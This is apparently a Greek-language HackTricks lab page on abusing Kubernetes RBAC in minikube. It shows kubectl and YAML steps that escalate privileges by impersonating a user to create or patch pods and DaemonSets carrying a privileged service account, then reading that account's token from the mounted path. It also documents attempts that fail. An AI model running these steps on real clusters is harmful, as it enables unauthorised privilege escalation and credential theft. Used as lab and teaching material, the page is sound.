Kubernetes Roles Abuse Lab

Εργαστήριο Κατάχρησης Ρόλων στο Kubernetes

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Μπορείτε να εκτελέσετε αυτά τα εργαστήρια μέσα στο minikube.

Δημιουργία Pod -> Ανέβασμα σε ns SAs

Θα δημιουργήσουμε:

  • Έναν λογαριασμό υπηρεσίας "test-sa" με προνόμια συστήματος για ανάγνωση μυστικών

  • Θα δημιουργηθεί ένας ClusterRole "test-cr" και ένας ClusterRoleBinding "test-crb"

  • Θα δοθούν δικαιώματα για την λίστα και δημιουργία pods σε έναν χρήστη με το όνομα "Test"

  • Θα επιβεβαιώσουμε ότι ο SA μπορεί να λίσταρει μυστικά και ότι ο χρήστης Test μπορεί να λίσταρει pods

  • Τέλος, θα προσωποποιήσουμε τον χρήστη Test για να δημιουργήσουμε ένα pod που περιλαμβάνει τον SA test-sa και να κλέψουμε το token του λογαριασμού υπηρεσίας.

  • Αυτός είναι ο τρόπος για να δείξουμε ότι ο χρήστης μπορεί να αναβαθμίσει τα προνόμιά του με αυτόν τον τρόπο.

Για να δημιουργηθεί το σενάριο χρησιμοποιείται ένας λογαριασμός διαχειριστή. Επιπλέον, για να εξαγάγετε το token του sa σε αυτό το παράδειγμα χρησιμοποιείται ο λογαριασμός διαχειριστή για να εκτελέσει εντολές μέσα στο δημιουργημένο pod. Ωστόσο, όπως εξηγείται εδώ, η δήλωση του pod μπορεί να περιέχει την εξαγωγή του token, οπότε η άδεια "exec" δεν είναι απαραίτητη για την εξαγωγή του token, το "create" δικαίωμα είναι αρκετό.

```bash # Create Service Account test-sa # Create role and rolebinding to give list and create permissions over pods in default namespace to user Test # Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1 kind: ServiceAccount metadata: name: test-sa

kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-r rules:

  • apiGroups: [""] resources: ["pods"] verbs: ["get", "list", "delete", "patch", "create"]


apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-rb subjects:

  • kind: ServiceAccount name: test-sa

  • kind: User name: Test roleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io


kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-cr rules:

  • apiGroups: [""] resources: ["secrets"] verbs: ["get", "list", "delete", "patch", "create"]


apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: test-crb subjects:

  • kind: ServiceAccount namespace: default name: test-sa apiGroup: "" roleRef: kind: ClusterRole name: test-cr apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

Check test-sa can access kube-system secrets

kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

Check user User can get pods in namespace default

kubectl --as Test -n default get pods

Create a pod as user Test with the SA test-sa (privesc step)

echo "apiVersion: v1 kind: Pod metadata: name: test-pod namespace: default spec: containers:

  • name: alpine image: alpine command: ['/bin/sh'] args: ['-c', 'sleep 100000'] serviceAccountName: test-sa automountServiceAccountToken: true hostNetwork: true"| kubectl --as Test apply -f -

Connect to the pod created an confirm the attached SA token belongs to test-sa

kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

Clean the scenario

kubectl delete pod test-pod kubectl delete clusterrolebinding test-crb kubectl delete clusterrole test-cr kubectl delete rolebinding test-rb kubectl delete role test-r kubectl delete serviceaccount test-sa

## Δημιουργία Daemonset

Για να δημιουργήσετε ένα Daemonset στο Kubernetes, ακολουθήστε τα παρακάτω βήματα:

1. Ανοίξτε ένα αρχείο YAML και ορίστε τις απαραίτητες παραμέτρους για το Daemonset.
2. Ορίστε το όνομα του Daemonset και το namespace στο οποίο θα ανήκει.
3. Ορίστε τον εικονικό πίνακα (container) που θα εκτελείται σε κάθε κόμβο του cluster.
4. Ορίστε τις απαιτούμενες παραμέτρους για τον εικονικό πίνακα, όπως το όνομα της εικόνας, τον αριθμό των αντιγράφων (replicas) και τις παραμέτρους περιβάλλοντος.
5. Ορίστε τις απαιτούμενες παραμέτρους ασφαλείας, όπως τα δικαιώματα (capabilities) και τους πόρους που μπορεί να χρησιμοποιήσει ο εικονικός πίνακας.
6. Αποθηκεύστε το αρχείο YAML και εκτελέστε την εντολή `kubectl create -f <filename.yaml>` για να δημιουργήσετε το Daemonset.

Με αυτά τα βήματα, θα δημιουργήσετε ένα Daemonset στο Kubernetes cluster σας.
```bash
# Create Service Account test-sa
# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Επιδιόρθωση του Daemonset

Σε αυτήν την περίπτωση θα επιδιορθώσουμε ένα daemonset για να φορτώσουμε το επιθυμητό λογαριασμό υπηρεσίας.

Αν ο χρήστης σας έχει την εντολή update αντί για patch, αυτό δεν θα λειτουργήσει.

# Create Service Account test-sa
# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
---
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
automountServiceAccountToken: false
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100']' | kubectl apply -f -

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Δεν λειτουργεί

Δημιουργία/Τροποποίηση Συνδέσεων

Δεν λειτουργεί:

  • Δημιουργήστε μια νέα RoleBinding μόνο με το ρήμα create

  • Δημιουργήστε μια νέα RoleBinding μόνο με το ρήμα patch (χρειάζεστε άδειες σύνδεσης)

  • Δεν μπορείτε να το κάνετε αυτό για να αναθέσετε τον ρόλο στον εαυτό σας ή σε διαφορετικό SA

  • Τροποποιήστε μια νέα RoleBinding μόνο με το ρήμα patch (χρειάζεστε άδειες σύνδεσης)

  • Δεν μπορείτε να το κάνετε αυτό για να αναθέσετε τον ρόλο στον εαυτό σας ή σε διαφορετικό SA

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
subjects:
- kind: ServiceAccount
name: test-sa
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-r2
subjects:
- kind: ServiceAccount
name: test-sa2
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete rolebinding test-rb
kubectl delete rolebinding test-rb2
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

Συνδέσεις που συνδέονται ρητά

Στην ενότητα "Πρόληψη Ανέλιξης Προνομιακών Δικαιωμάτων και Εκκίνησης" του https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/ αναφέρεται ότι αν ένας Λογαριασμός Υπηρεσίας μπορεί να δημιουργήσει μια Σύνδεση και έχει ρητά δικαιώματα σύνδεσης πάνω στον Ρόλο/Ρόλο Συστήματος, μπορεί να δημιουργήσει συνδέσεις ακόμα και χρησιμοποιώντας Ρόλους/Ρόλους Συστήματος με δικαιώματα που δεν έχει. Ωστόσο, δεν δούλεψε για μένα:

# Create 2 SAs, give one of them permissions to create clusterrolebindings
# and bind permissions over the ClusterRole "admin"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to bind the ClusterRole "admin" with the second SA (won't work)
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb2
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete clusterrolebindings test-crb
kubectl delete clusterrolebindings test-crb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa
# Like the previous example, but in this case we try to use RoleBindings
# instead of CLusterRoleBindings

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin","edit","view"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Won't work
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete rolebindings test-rb
kubectl delete rolebindings test-rb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

Αυθαίρετη δημιουργία ρόλων

Σε αυτό το παράδειγμα προσπαθούμε να δημιουργήσουμε ένα ρόλο με τις άδειες create και path για τους πόρους των ρόλων. Ωστόσο, το K8s μας εμποδίζει να δημιουργήσουμε ένα ρόλο με περισσότερες άδειες από αυτές που έχει ο δημιουργός του:

# Create a SA and give the permissions "create" and "patch" over "roles"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["roles"]
verbs: ["patch", "create", "get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to create a role over all the resources  with "create" and "patch"
# This won't wotrk
echo 'kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["*"]
verbs: ["patch", "create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f-

# Clean the environment
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated